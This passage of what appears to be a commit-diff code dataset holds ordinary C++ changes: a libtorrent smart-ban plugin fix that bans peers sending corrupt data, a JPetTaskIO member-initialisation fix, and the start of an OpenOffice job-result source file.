libtorrent\n{\n\n\tboost::shared_ptr<torrent_plugin> create_smart_ban_plugin(torrent* t, void*)\n\t{\n\t\treturn boost::shared_ptr<torrent_plugin>(new smart_ban_plugin(*t));\n\t}\n\n}\n\n\n<commit_msg>fix smart ban assert when closing a torrent with a failing piece<commit_after>\/*\n\nCopyright (c) 2007, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n    * Redistributions of source code must retain the above copyright\n      notice, this list of conditions and the following disclaimer.\n    * Redistributions in binary form must reproduce the above copyright\n      notice, this list of conditions and the following disclaimer in\n      the documentation and\/or other materials provided with the distribution.\n    * Neither the name of the author nor the names of its\n      contributors may be used to endorse or promote products derived\n      from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#include \"libtorrent\/pch.hpp\"\n\n#ifdef _MSC_VER\n#pragma warning(push, 1)\n#endif\n\n#include <boost\/shared_ptr.hpp>\n#include <boost\/enable_shared_from_this.hpp>\n#include <boost\/lexical_cast.hpp>\n\n#ifdef _MSC_VER\n#pragma warning(pop)\n#endif\n\n#include <vector>\n#include <map>\n#include <utility>\n#include <numeric>\n#include <cstdio>\n\n#include \"libtorrent\/peer_connection.hpp\"\n#include \"libtorrent\/bt_peer_connection.hpp\"\n#include \"libtorrent\/hasher.hpp\"\n#include \"libtorrent\/bencode.hpp\"\n#include \"libtorrent\/torrent.hpp\"\n#include \"libtorrent\/extensions.hpp\"\n#include \"libtorrent\/extensions\/smart_ban.hpp\"\n#include \"libtorrent\/alert_types.hpp\"\n#include \"libtorrent\/disk_io_thread.hpp\"\n#include \"libtorrent\/aux_\/session_impl.hpp\"\n\nnamespace libtorrent { namespace\n{\n\n\tstruct smart_ban_plugin : torrent_plugin, boost::enable_shared_from_this<smart_ban_plugin>\n\t{\n\t\tsmart_ban_plugin(torrent& t)\n\t\t\t: m_torrent(t)\n\t\t\t, m_salt(rand())\n\t\t{\n\t\t}\n\n\t\tvoid on_piece_pass(int p)\n\t\t{\n#ifdef TORRENT_LOGGING\n\t\t\t(*m_torrent.session().m_logger) << time_now_string() << \" PIECE PASS [ p: \" << p\n\t\t\t\t<< \" | block_crc_size: \" << m_block_crc.size() << \" ]\\n\";\n#endif\n\t\t\t\/\/ has this piece failed earlier? If it has, go through the\n\t\t\t\/\/ CRCs from the time it failed and ban the peers that\n\t\t\t\/\/ sent bad blocks\n\t\t\tstd::map<piece_block, block_entry>::iterator i = m_block_crc.lower_bound(piece_block(p, 0));\n\t\t\tif (i == m_block_crc.end() || i->first.piece_index != p) return;\n\n\t\t\tint size = m_torrent.torrent_file().piece_size(p);\n\t\t\tpeer_request r = {p, 0, (std::min)(16*1024, size)};\n\t\t\tpiece_block pb(p, 0);\n\t\t\twhile (size > 0)\n\t\t\t{\n\t\t\t\tif (i->first.block_index == pb.block_index)\n\t\t\t\t{\n\t\t\t\t\tm_torrent.filesystem().async_read(r, bind(&smart_ban_plugin::on_read_ok_block\n\t\t\t\t\t\t, shared_from_this(), *i, _1, _2));\n\t\t\t\t\tm_block_crc.erase(i++);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tTORRENT_ASSERT(i->first.block_index > pb.block_index);\n\t\t\t\t}\n\n\t\t\t\tif (i == m_block_crc.end() || i->first.piece_index != p)\n\t\t\t\t\tbreak;\n\n\t\t\t\tr.start += 16*1024;\n\t\t\t\tsize -= 16*1024;\n\t\t\t\tr.length = (std::min)(16*1024, size);\n\t\t\t\t++pb.block_index;\n\t\t\t}\n\n#ifndef NDEBUG\n\t\t\t\/\/ make sure we actually removed all the entries for piece 'p'\n\t\t\ti = m_block_crc.lower_bound(piece_block(p, 0));\n\t\t\tTORRENT_ASSERT(i == m_block_crc.end() || i->first.piece_index != p);\n#endif\n\n\t\t\tif (m_torrent.is_seed())\n\t\t\t{\n\t\t\t\tstd::map<piece_block, block_entry>().swap(m_block_crc);\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\n\t\tvoid on_piece_failed(int p)\n\t\t{\n\t\t\t\/\/ The piece failed the hash check. Record\n\t\t\t\/\/ the CRC and origin peer of every block\n\n\t\t\t\/\/ if the torrent is aborted, no point in starting\n\t\t\t\/\/ a bunch of read operations on it\n\t\t\tif (m_torrent.is_aborted()) return;\n\n\t\t\tstd::vector<void*> downloaders;\n\t\t\tm_torrent.picker().get_downloaders(downloaders, p);\n\n\t\t\tint size = m_torrent.torrent_file().piece_size(p);\n\t\t\tpeer_request r = {p, 0, (std::min)(16*1024, size)};\n\t\t\tpiece_block pb(p, 0);\n\t\t\tfor (std::vector<void*>::iterator i = downloaders.begin()\n\t\t\t\t, end(downloaders.end()); i != end; ++i)\n\t\t\t{\n\t\t\t\tif (*i != 0)\n\t\t\t\t{\n\t\t\t\t\tm_torrent.filesystem().async_read(r, bind(&smart_ban_plugin::on_read_failed_block\n\t\t\t\t\t\t, shared_from_this(), pb, (policy::peer*)*i, _1, _2));\n\t\t\t\t}\n\n\t\t\t\tr.start += 16*1024;\n\t\t\t\tsize -= 16*1024;\n\t\t\t\tr.length = (std::min)(16*1024, size);\n\t\t\t\t++pb.block_index;\n\t\t\t}\n\t\t\tTORRENT_ASSERT(size <= 0);\n\t\t}\n\n\tprivate:\n\n\t\t\/\/ this entry ties a specific block CRC to\n\t\t\/\/ a peer.\n\t\tstruct block_entry\n\t\t{\n\t\t\tpolicy::peer* peer;\n\t\t\tunsigned long crc;\n\t\t};\n\n\t\tvoid on_read_failed_block(piece_block b, policy::peer* p, int ret, disk_io_job const& j)\n\t\t{\n\t\t\tTORRENT_ASSERT(p);\n\t\t\t\/\/ ignore read errors\n\t\t\tif (ret != j.buffer_size) return;\n\n\t\t\tadler32_crc crc;\n\t\t\tcrc.update(j.buffer, j.buffer_size);\n\t\t\tcrc.update((char const*)&m_salt, sizeof(m_salt));\n\n\t\t\tblock_entry e = {p, crc.final()};\n\n\t\t\t\/\/ since this callback is called directory from the disk io\n\t\t\t\/\/ thread, the session mutex is not locked when we get here\n\t\t\taux::session_impl::mutex_t::scoped_lock l(m_torrent.session().m_mutex);\n\t\t\t\n\t\t\tstd::map<piece_block, block_entry>::iterator i = m_block_crc.lower_bound(b);\n\t\t\tif (i != m_block_crc.end() && i->first == b && i->second.peer == p)\n\t\t\t{\n\t\t\t\t\/\/ this peer has sent us this block before\n\t\t\t\tif (i->second.crc != e.crc)\n\t\t\t\t{\n\t\t\t\t\t\/\/ this time the crc of the block is different\n\t\t\t\t\t\/\/ from the first time it sent it\n\t\t\t\t\t\/\/ at least one of them must be bad\n\n\t\t\t\t\tif (p == 0) return;\n\t\t\t\t\tif (!m_torrent.get_policy().has_peer(p)) return;\n\n#ifdef TORRENT_LOGGING\n\t\t\t\t\tchar const* client = \"-\";\n\t\t\t\t\tpeer_info info;\n\t\t\t\t\tif (p->connection)\n\t\t\t\t\t{\n\t\t\t\t\t\tp->connection->get_peer_info(info);\n\t\t\t\t\t\tclient = info.client.c_str();\n\t\t\t\t\t}\n\t\t\t\t\t(*m_torrent.session().m_logger) << time_now_string() << \" BANNING PEER [ p: \" << b.piece_index\n\t\t\t\t\t\t<< \" | b: \" << b.block_index\n\t\t\t\t\t\t<< \" | c: \" << client\n\t\t\t\t\t\t<< \" | crc1: \" << i->second.crc\n\t\t\t\t\t\t<< \" | crc2: \" << e.crc\n\t\t\t\t\t\t<< \" | ip: \" << p->ip << \" ]\\n\";\n#endif\n\t\t\t\t\tp->banned = true;\n\t\t\t\t\tif (p->connection) p->connection->disconnect(\"banning peer for sending bad data\");\n\t\t\t\t}\n\t\t\t\t\/\/ we already have this exact entry in the map\n\t\t\t\t\/\/ we don't have to insert it\n\t\t\t\treturn;\n\t\t\t}\n\t\t\t\n\t\t\tm_block_crc.insert(i, std::make_pair(b, e));\n\n#ifdef TORRENT_LOGGING\n\t\t\tchar const* client = \"-\";\n\t\t\tpeer_info info;\n\t\t\tif (p->connection)\n\t\t\t{\n\t\t\t\tp->connection->get_peer_info(info);\n\t\t\t\tclient = info.client.c_str();\n\t\t\t}\n\t\t\t(*m_torrent.session().m_logger) << time_now_string() << \" STORE BLOCK CRC [ p: \" << b.piece_index\n\t\t\t\t<< \" | b: \" << b.block_index\n\t\t\t\t<< \" | c: \" << client\n\t\t\t\t<< \" | crc: \" << e.crc\n\t\t\t\t<< \" | ip: \" << p->ip << \" ]\\n\";\n#endif\n\t\t}\n\t\t\n\t\tvoid on_read_ok_block(std::pair<piece_block, block_entry> b, int ret, disk_io_job const& j)\n\t\t{\n\t\t\t\/\/ since this callback is called directory from the disk io\n\t\t\t\/\/ thread, the session mutex is not locked when we get here\n\t\t\taux::session_impl::mutex_t::scoped_lock l(m_torrent.session().m_mutex);\n\n\t\t\t\/\/ ignore read errors\n\t\t\tif (ret != j.buffer_size) return;\n\n\t\t\tadler32_crc crc;\n\t\t\tcrc.update(j.buffer, j.buffer_size);\n\t\t\tcrc.update((char const*)&m_salt, sizeof(m_salt));\n\t\t\tunsigned long ok_crc = crc.final();\n\n\t\t\tif (b.second.crc == ok_crc) return;\n\n\t\t\tpolicy::peer* p = b.second.peer;\n\n\t\t\tif (p == 0) return;\n\t\t\tif (!m_torrent.get_policy().has_peer(p)) return;\n\n#ifdef TORRENT_LOGGING\n\t\t\tchar const* client = \"-\";\n\t\t\tpeer_info info;\n\t\t\tif (p->connection)\n\t\t\t{\n\t\t\t\tp->connection->get_peer_info(info);\n\t\t\t\tclient = info.client.c_str();\n\t\t\t}\n\t\t\t(*m_torrent.session().m_logger) << time_now_string() << \" BANNING PEER [ p: \" << b.first.piece_index\n\t\t\t\t<< \" | b: \" << b.first.block_index\n\t\t\t\t<< \" | c: \" << client\n\t\t\t\t<< \" | ok_crc: \" << ok_crc\n\t\t\t\t<< \" | bad_crc: \" << b.second.crc\n\t\t\t\t<< \" | ip: \" << p->ip << \" ]\\n\";\n#endif\n\t\t\tp->banned = true;\n\t\t\tif (p->connection) p->connection->disconnect(\"banning peer for sending bad data\");\n\t\t}\n\t\t\n\t\ttorrent& m_torrent;\n\n\t\t\/\/ This table maps a piece_block (piece and block index\n\t\t\/\/ pair) to a peer and the block CRC. The CRC is calculated\n\t\t\/\/ from the data in the block + the salt\n\t\tstd::map<piece_block, block_entry> m_block_crc;\n\n\t\t\/\/ This salt is a random value used to calculate the block CRCs\n\t\t\/\/ Since the CRC function that is used is not a one way function\n\t\t\/\/ the salt is required to avoid attacks where bad data is sent\n\t\t\/\/ that is forged to match the CRC of the good data.\n\t\tint m_salt;\n\t};\n\n} }\n\nnamespace libtorrent\n{\n\n\tboost::shared_ptr<torrent_plugin> create_smart_ban_plugin(torrent* t, void*)\n\t{\n\t\treturn boost::shared_ptr<torrent_plugin>(new smart_ban_plugin(*t));\n\t}\n\n}\n\n\n<|endoftext|>"}
{"text":"<commit_before>\/**\n  *  @copyright Copyright (c) 2014, Wojciech Krzemien\n  *  @file JPetTaskIO.cpp\n  *  @author Wojciech Krzemien, wojciech.krzemien@if.uj.edu.pl\n  *\/\n\n#include \"JPetTaskIO.h\"\n#include <cassert>\n#include \"..\/JPetReader\/JPetReader.h\"\n#include \"..\/JPetTreeHeader\/JPetTreeHeader.h\"\n#include \"..\/JPetTask\/JPetTask.h\"\n#include \"..\/..\/framework\/JPetHLDReader\/JPetHLDReader.h\"\n\n#include \"..\/..\/JPetLoggerInclude.h\"\n\n\n\nJPetTaskIO::JPetTaskIO():\n  fWriter(0),\n  fReader(0),\n  fHeader(0)\n{\n}\n\nvoid JPetTaskIO::init(const JPetOptions::Options& opts)\n{\n  setOptions(JPetOptions(opts));\n  auto inputFilename = fOptions.getInputFile();\n  auto outputFilename = fOptions.getOutputFile();\n  createInputObjects(inputFilename);\n  createOutputObjects(outputFilename);\n}\n\n\nvoid JPetTaskIO::exec()\n{\n  assert(fTask);\n  assert(fReader);\n  assert(fParamManager);\n  fTask->setParamManager(fParamManager);\n  JPetTaskInterface::Options emptyOpts;\n  fTask->init(emptyOpts); \/\/prepare current task for file\n  auto firstEvent = 0ll;\n  auto lastEvent = 0ll;\n  setUserLimits(fOptions, firstEvent, lastEvent);\n  assert(lastEvent > 0);\n  for (auto i = firstEvent; i < lastEvent; i++) {\n    fTask->setEvent(&(static_cast<TNamed&>(fReader->getCurrentEvent())));\n    if (fOptions.isProgressBar()) {\n      manageProgressBar(i, lastEvent);\n    }\n    fTask->exec();\n    fReader->nextEvent();\n  }\n  fTask->terminate();\n}\n\nvoid JPetTaskIO::terminate()\n{\n  assert(fReader);\n  assert(fWriter);\n  assert(fHeader);\n\n  INFO(Form(\"Finished processing %s.\", \"A\"));\n  fWriter->writeHeader(fHeader);\n\n  \/\/ store the parametric objects in the ouptut ROOT file\n  getParamManager().saveParametersToFile(\n    fWriter);\n  getParamManager().clearParameters();\n\n  fWriter->closeFile();\n  fReader->closeFile();\n\n}\n\nvoid JPetTaskIO::createInputObjects(const char* inputFilename)\n{\n  auto treeName = \"\";\n  if (fOptions.getInputFileType() == JPetOptions::kHld ) {\n    fReader = new JPetHLDReader;\n    treeName = \"T\";\n  } else {\n    fReader = new JPetReader;\n    treeName = \"tree\";\n  }\n  if ( fReader->openFileAndLoadData( inputFilename, treeName )) {\n    if (fOptions.getInputFileType() == JPetOptions::kHld ) {\n      \/\/ create a header to be stored along with the output tree\n      fHeader = new JPetTreeHeader(26);\n\n      \/\/ add general info to the Tree header\n      \/\/fHeader->setBaseFileName(\n      \/\/JPetManager::GetManager().getInputFileNames()[0].c_str());\n\n      \/\/\/\/ add info about this module to the processing stages' history in Tree header\n      \/\/fHeader->addStageInfo(this->GetName(), this->GetTitle(), MODULE_VERSION,\n      \/\/JPetManager::GetManager().GetTimeString());\n\n    } else {\n      assert(fParamManager);\n      fParamManager->readParametersFromFile(dynamic_cast<JPetReader*> (fReader));\n      \/\/ read the header from the previous analysis stage\n      \/\/\n      fHeader = dynamic_cast<JPetReader*>(fReader)->getHeaderClone();\n      \/\/fParamManager.readParametersFromFile( fReader );\n    }\n  } else {\n    ERROR(inputFilename + std::string(\": Unable to open the input file\"));\n    exit(-1);\n  }\n}\n\nvoid JPetTaskIO::createOutputObjects(const char* outputFilename)\n{\n  fWriter = new JPetWriter( outputFilename );\n  fTask->setWriter(fWriter);\n}\n\nvoid JPetTaskIO::manageProgressBar(long long done, long long end)\n{\n  printf(\"\\r[%6.4f%% %%]\", setProgressBar(done, end));\n}\n\nfloat JPetTaskIO::setProgressBar(int currentEventNumber, int numberOfEvents)\n{\n  return ( ((float)currentEventNumber) \/ numberOfEvents ) * 100;\n}\n\n\nconst JPetParamBank& JPetTaskIO::getParamBank()\n{\n  return fParamManager->getParamBank();\n}\n\nJPetTaskIO::~JPetTaskIO()\n{\n  if (fTask) delete fTask;\n  if (fWriter) delete fWriter;\n  if (fReader) delete fReader;\n}\n\n\n\/\/\/ Sets values of firstEvent and lastEvent based on user options opts and total number of events from JPetReader\nvoid JPetTaskIO::setUserLimits(const JPetOptions& opts, long long& firstEvent, long long& lastEvent) const\n{\n  assert(fReader);\n  const auto kLastEvent = opts.getLastEvent();\n  const auto kFirstEvent = opts.getFirstEvent();\n  const auto kEventNum = fReader->getNbOfAllEvents();\n  if (kLastEvent < 0)  {\n    lastEvent = kEventNum;\n  } else {\n    lastEvent = kLastEvent < kEventNum ? kLastEvent : kEventNum;\n  }\n  if ( kFirstEvent < 0) {\n    firstEvent = 0;\n  } else {\n    firstEvent = kFirstEvent;\n  }\n  assert(firstEvent>=0);\n  assert(lastEvent>=0);\n  assert(firstEvent <= lastEvent);\n}\n<commit_msg>Add some small fixes e.g. initialize all members of the JPetTaskIO<commit_after>\/**\n  *  @copyright Copyright (c) 2014, Wojciech Krzemien\n  *  @file JPetTaskIO.cpp\n  *  @author Wojciech Krzemien, wojciech.krzemien@if.uj.edu.pl\n  *\/\n\n#include \"JPetTaskIO.h\"\n#include <cassert>\n#include \"..\/JPetReader\/JPetReader.h\"\n#include \"..\/JPetTreeHeader\/JPetTreeHeader.h\"\n#include \"..\/JPetTask\/JPetTask.h\"\n#include \"..\/..\/framework\/JPetHLDReader\/JPetHLDReader.h\"\n\n#include \"..\/..\/JPetLoggerInclude.h\"\n\n\nJPetTaskIO::JPetTaskIO():\n  fTask(0), \n  fEventNb(-1),\n  fWriter(0),\n  fReader(0),\n  fHeader(0),\n  fParamManager(0)\n{\n}\n\nvoid JPetTaskIO::init(const JPetOptions::Options& opts)\n{\n  setOptions(JPetOptions(opts));\n  auto inputFilename = fOptions.getInputFile();\n  auto outputFilename = fOptions.getOutputFile();\n  createInputObjects(inputFilename);\n  createOutputObjects(outputFilename);\n}\n\n\nvoid JPetTaskIO::exec()\n{\n  assert(fTask);\n  assert(fReader);\n  assert(fParamManager);\n  fTask->setParamManager(fParamManager);\n  JPetTaskInterface::Options emptyOpts;\n  fTask->init(emptyOpts); \/\/prepare current task for file\n  auto firstEvent = 0ll;\n  auto lastEvent = 0ll;\n  setUserLimits(fOptions, firstEvent, lastEvent);\n  assert(lastEvent > 0);\n  for (auto i = firstEvent; i < lastEvent; i++) {\n    fTask->setEvent(&(static_cast<TNamed&>(fReader->getCurrentEvent())));\n    if (fOptions.isProgressBar()) {\n      manageProgressBar(i, lastEvent);\n    }\n    fTask->exec();\n    fReader->nextEvent();\n  }\n  fTask->terminate();\n}\n\nvoid JPetTaskIO::terminate()\n{\n  assert(fReader);\n  assert(fWriter);\n  assert(fHeader);\n\n  INFO(Form(\"Finished processing %s.\", \"A\"));\n  fWriter->writeHeader(fHeader);\n\n  \/\/ store the parametric objects in the ouptut ROOT file\n  getParamManager().saveParametersToFile(\n    fWriter);\n  getParamManager().clearParameters();\n\n  fWriter->closeFile();\n  fReader->closeFile();\n\n}\n\nvoid JPetTaskIO::createInputObjects(const char* inputFilename)\n{\n  auto treeName = \"\";\n  if (fOptions.getInputFileType() == JPetOptions::kHld ) {\n    fReader = new JPetHLDReader;\n    treeName = \"T\";\n  } else {\n    fReader = new JPetReader;\n    treeName = \"tree\";\n  }\n  if ( fReader->openFileAndLoadData( inputFilename, treeName )) {\n    if (fOptions.getInputFileType() == JPetOptions::kHld ) {\n      \/\/ create a header to be stored along with the output tree\n      fHeader = new JPetTreeHeader(26);\n\n      \/\/ add general info to the Tree header\n      \/\/fHeader->setBaseFileName(\n      \/\/JPetManager::GetManager().getInputFileNames()[0].c_str());\n\n      \/\/\/\/ add info about this module to the processing stages' history in Tree header\n      \/\/fHeader->addStageInfo(this->GetName(), this->GetTitle(), MODULE_VERSION,\n      \/\/JPetManager::GetManager().GetTimeString());\n\n    } else {\n      assert(fParamManager);\n      fParamManager->readParametersFromFile(dynamic_cast<JPetReader*> (fReader));\n      \/\/ read the header from the previous analysis stage\n      \/\/\n      fHeader = dynamic_cast<JPetReader*>(fReader)->getHeaderClone();\n      \/\/fParamManager.readParametersFromFile( fReader );\n    }\n  } else {\n    ERROR(inputFilename + std::string(\": Unable to open the input file or load the tree\"));\n    exit(-1);\n  }\n}\n\nvoid JPetTaskIO::createOutputObjects(const char* outputFilename)\n{\n  fWriter = new JPetWriter( outputFilename );\n  assert(fWriter);\n  if (fTask) { \n    fTask->setWriter(fWriter);\n  } else {\n    WARNING(\"the subTask does not exist, so Write was not passed to it\");  \n  }\n}\n\nvoid JPetTaskIO::manageProgressBar(long long done, long long end)\n{\n  printf(\"\\r[%6.4f%% %%]\", setProgressBar(done, end));\n}\n\nfloat JPetTaskIO::setProgressBar(int currentEventNumber, int numberOfEvents)\n{\n  return ( ((float)currentEventNumber) \/ numberOfEvents ) * 100;\n}\n\n\nconst JPetParamBank& JPetTaskIO::getParamBank()\n{\n  return fParamManager->getParamBank();\n}\n\nJPetTaskIO::~JPetTaskIO()\n{\n  if (fTask) delete fTask;\n  if (fWriter) delete fWriter;\n  if (fReader) delete fReader;\n}\n\n\n\/\/\/ Sets values of firstEvent and lastEvent based on user options opts and total number of events from JPetReader\nvoid JPetTaskIO::setUserLimits(const JPetOptions& opts, long long& firstEvent, long long& lastEvent) const\n{\n  assert(fReader);\n  const auto kLastEvent = opts.getLastEvent();\n  const auto kFirstEvent = opts.getFirstEvent();\n  const auto kEventNum = fReader->getNbOfAllEvents();\n  if (kLastEvent < 0)  {\n    lastEvent = kEventNum;\n  } else {\n    lastEvent = kLastEvent < kEventNum ? kLastEvent : kEventNum;\n  }\n  if ( kFirstEvent < 0) {\n    firstEvent = 0;\n  } else {\n    firstEvent = kFirstEvent;\n  }\n  assert(firstEvent>=0);\n  assert(lastEvent>=0);\n  assert(firstEvent <= lastEvent);\n}\n<|endoftext|>"}
{"text":"<commit_before>    \/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: jobresult.cxx,v $\n *\n *  $Revision: 1.5 $\n *\n *  last change: $Author: hr $ $Date: 2006-06-19 11:23:37 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n\/\/________________________________\n\/\/  my own includes\n\n#ifndef __FRAMEWORK_JOBS_JOBRESULT_HXX_\n#include <jobs\/jobresult.hxx>\n#endif\n\n#ifndef __FRAMEWORK_THREADHELP_READGUARD_HXX_\n#include <threadhelp\/readguard.hxx>\n#endif\n\n#ifndef __FRAMEWORK_THREADHELP_WRITEGUARD_HXX_\n#include <threadhelp\/writeguard.hxx>\n#endif\n\n#ifndef __FRAMEWORK_GENERAL_H_\n#include <general.h>\n#endif\n\n#ifndef __FRAMEWORK_SERVICES_H_\n#include <services.h>\n#endif\n\n\/\/________________________________\n\/\/  interface includes\n\n\/\/________________________________\n\/\/  includes of other projects\n\n#ifndef _RTL_USTRBUF_HXX_\n#include <rtl\/ustrbuf.hxx>\n#endif\n\n#ifndef _SV_SVAPP_HXX\n#include <vcl\/svapp.hxx>\n#endif\n\n\/\/________________________________\n\/\/  namespace\n\nnamespace framework{\n\n\/\/________________________________\n\/\/  non exported const\n\n\/\/________________________________\n\/\/  non exported definitions\n\n\/\/________________________________\n\/\/  declarations\n\n\/\/________________________________\n\/**\n    @short      standard dtor\n    @descr      It does nothing else ...\n                but it marks this new instance as non valid!\n*\/\nJobResult::JobResult()\n    : ThreadHelpBase(&Application::GetSolarMutex())\n{\n    \/\/ reset the flag mask!\n    \/\/ It will reset the accessible state of this object.\n    \/\/ That can be usefull if something will fail here ...\n    m_eParts = E_NOPART;\n}\n\n\/\/________________________________\n\/**\n    @short      special ctor\n    @descr      It initialize this new instance with a pure job execution result\n                and analyze it. Doing so, we actualize our other members.\n\n                <p>\n                It's a list of named values, packed inside this any.\n                Following protocol is used:\n                <p>\n                <ul>\n                    <li>\n                        \"SaveArguments\" [sequence< css.beans.NamedValue >]\n                        <br>\n                        The returned list of (for this generic implementation unknown!)\n                        properties, will be written directly to the configuration and replace\n                        any old values there. There will no check for changes and we doesn't\n                        support any mege feature here. They are written only. The job has\n                        to modify this list.\n                    <\/li>\n                    <li>\n                        \"SendDispatchResult\" [css.frame.DispatchResultEvent]\n                        <br>\n                        The given event is send to all current registered listener.\n                        But it's not guaranteed. In case no listener are available or\n                        this job isn't part of the dispatch environment (because it was used\n                        by the css..task.XJobExecutor->trigger() implementation) this option\n                        will be ignored.\n                    <\/li>\n                    <li>\n                        \"Deactivate\" [boolean]\n                        <br>\n                        The job whish to be disabled. But note: There is no way, to enable it later\n                        again by using this implementation. It can be done by using the configuration\n                        only. (Means to register this job again.)\n                        If a job knows, that there exist some status or result listener, it must use\n                        the options \"SendDispatchStatus\" and \"SendDispatchResult\" (see before) too, to\n                        inform it about the deactivation of this service.\n                    <\/li>\n                <\/ul>\n\n    @param      aResult\n                    the job result\n*\/\nJobResult::JobResult( \/*IN*\/ const css::uno::Any& aResult )\n    : ThreadHelpBase(&Application::GetSolarMutex())\n{\n    \/\/ safe the pure result\n    \/\/ May someone need it later ...\n    m_aPureResult = aResult;\n\n    \/\/ reset the flag mask!\n    \/\/ It will reset the accessible state of this object.\n    \/\/ That can be usefull if something will fail here ...\n    m_eParts = E_NOPART;\n\n    \/\/ analyze the result and actualize our other members\n    css::uno::Sequence< css::beans::NamedValue > lProtocol;\n    if (!(aResult >>= lProtocol))\n        return;\n\n    sal_Int32 nCount = lProtocol.getLength();\n    for( sal_Int32 i=0; i<nCount; ++i )\n    {\n        if (\n            (lProtocol[i].Name.equalsIgnoreAsciiCaseAsciiL(\"Deactivate\",10)) &&\n            (lProtocol[i].Value >>= m_bDeactivate                          )\n           )\n        {\n            if ( m_bDeactivate )\n                m_eParts |= E_DEACTIVATE;\n        }\n        else\n        if (\n            (lProtocol[i].Name.equalsIgnoreAsciiCaseAsciiL(\"SaveArguments\",13)) &&\n            (lProtocol[i].Value >>= m_lArguments                              )\n           )\n        {\n            m_eParts |= E_ARGUMENTS;\n        }\n        else\n        if (\n            (lProtocol[i].Name.equalsIgnoreAsciiCaseAsciiL(\"SendDispatchResult\",18)) &&\n            (lProtocol[i].Value >>= m_aDispatchResult                              )\n           )\n        {\n            m_eParts |= E_DISPATCHRESULT;\n        }\n    }\n}\n\n\/\/________________________________\n\/**\n    @short      copy dtor\n    @descr      -\n*\/\nJobResult::JobResult( const JobResult& rCopy )\n    : ThreadHelpBase(&Application::GetSolarMutex())\n{\n    m_aPureResult     = rCopy.m_aPureResult     ;\n    m_eParts          = rCopy.m_eParts          ;\n    m_lArguments      = rCopy.m_lArguments      ;\n    m_bDeactivate     = rCopy.m_bDeactivate     ;\n    m_aDispatchResult = rCopy.m_aDispatchResult ;\n}\n\n\/\/________________________________\n\/**\n    @short      standard dtor\n    @descr      Free all internaly used ressources at the end of living.\n*\/\nJobResult::~JobResult()\n{\n    \/\/ Nothing realy to do here.\n}\n\n\/\/________________________________\n\/**\n    @short      =operator\n    @descr      Must be implemented to overwrite this instance with another one.\n\n    @param      rCopy\n                    reference to the other instance, which should be used for copying.\n*\/\nvoid JobResult::operator=( const JobResult& rCopy )\n{\n    \/* SAFE { *\/\n    WriteGuard aWriteLock(m_aLock);\n    m_aPureResult     = rCopy.m_aPureResult     ;\n    m_eParts          = rCopy.m_eParts          ;\n    m_lArguments      = rCopy.m_lArguments      ;\n    m_bDeactivate     = rCopy.m_bDeactivate     ;\n    m_aDispatchResult = rCopy.m_aDispatchResult ;\n    aWriteLock.unlock();\n    \/* } SAFE *\/\n}\n\n\/\/________________________________\n\/**\n    @short      checks for existing parts of the analyzed result\n    @descr      The internal flag mask was set after analyzing of the pure result.\n                An user of us can check here, if the required part was realy part\n                of this result. Otherwhise it would use invalid informations ...\n                by using our other members!\n\n    @param      eParts\n                    a flag mask too, which will be compared with our internaly set one.\n\n    @return     We return true only, if any set flag of the given mask match.\n*\/\nsal_Bool JobResult::existPart( sal_uInt32 eParts ) const\n{\n    \/* SAFE { *\/\n    ReadGuard aReadLock(m_aLock);\n    return ((m_eParts & eParts) == eParts);\n    \/* } SAFE *\/\n}\n\n\/\/________________________________\n\/**\n    @short      provides access to our internal members\n    @descr      The return value will be valid only in case a call of\n                existPart(E_...) before returned true!\n\n    @return     It returns the state of the internal member\n                without any checks!\n*\/\ncss::uno::Sequence< css::beans::NamedValue > JobResult::getArguments() const\n{\n    \/* SAFE { *\/\n    ReadGuard aReadLock(m_aLock);\n    return m_lArguments;\n    \/* } SAFE *\/\n}\n\n\/\/________________________________\n\nsal_Bool JobResult::getDeactivate() const\n{\n    \/* SAFE { *\/\n    ReadGuard aReadLock(m_aLock);\n    return m_bDeactivate;\n    \/* } SAFE *\/\n}\n\n\/\/________________________________\n\ncss::frame::DispatchResultEvent JobResult::getDispatchResult() const\n{\n    \/* SAFE { *\/\n    ReadGuard aReadLock(m_aLock);\n    return m_aDispatchResult;\n    \/* } SAFE *\/\n}\n\n} \/\/ namespace framework\n<commit_msg>INTEGRATION: CWS pchfix02 (1.5.52); FILE MERGED 2006\/09\/01 17:29:14 kaib 1.5.52.1: #i68856# Added header 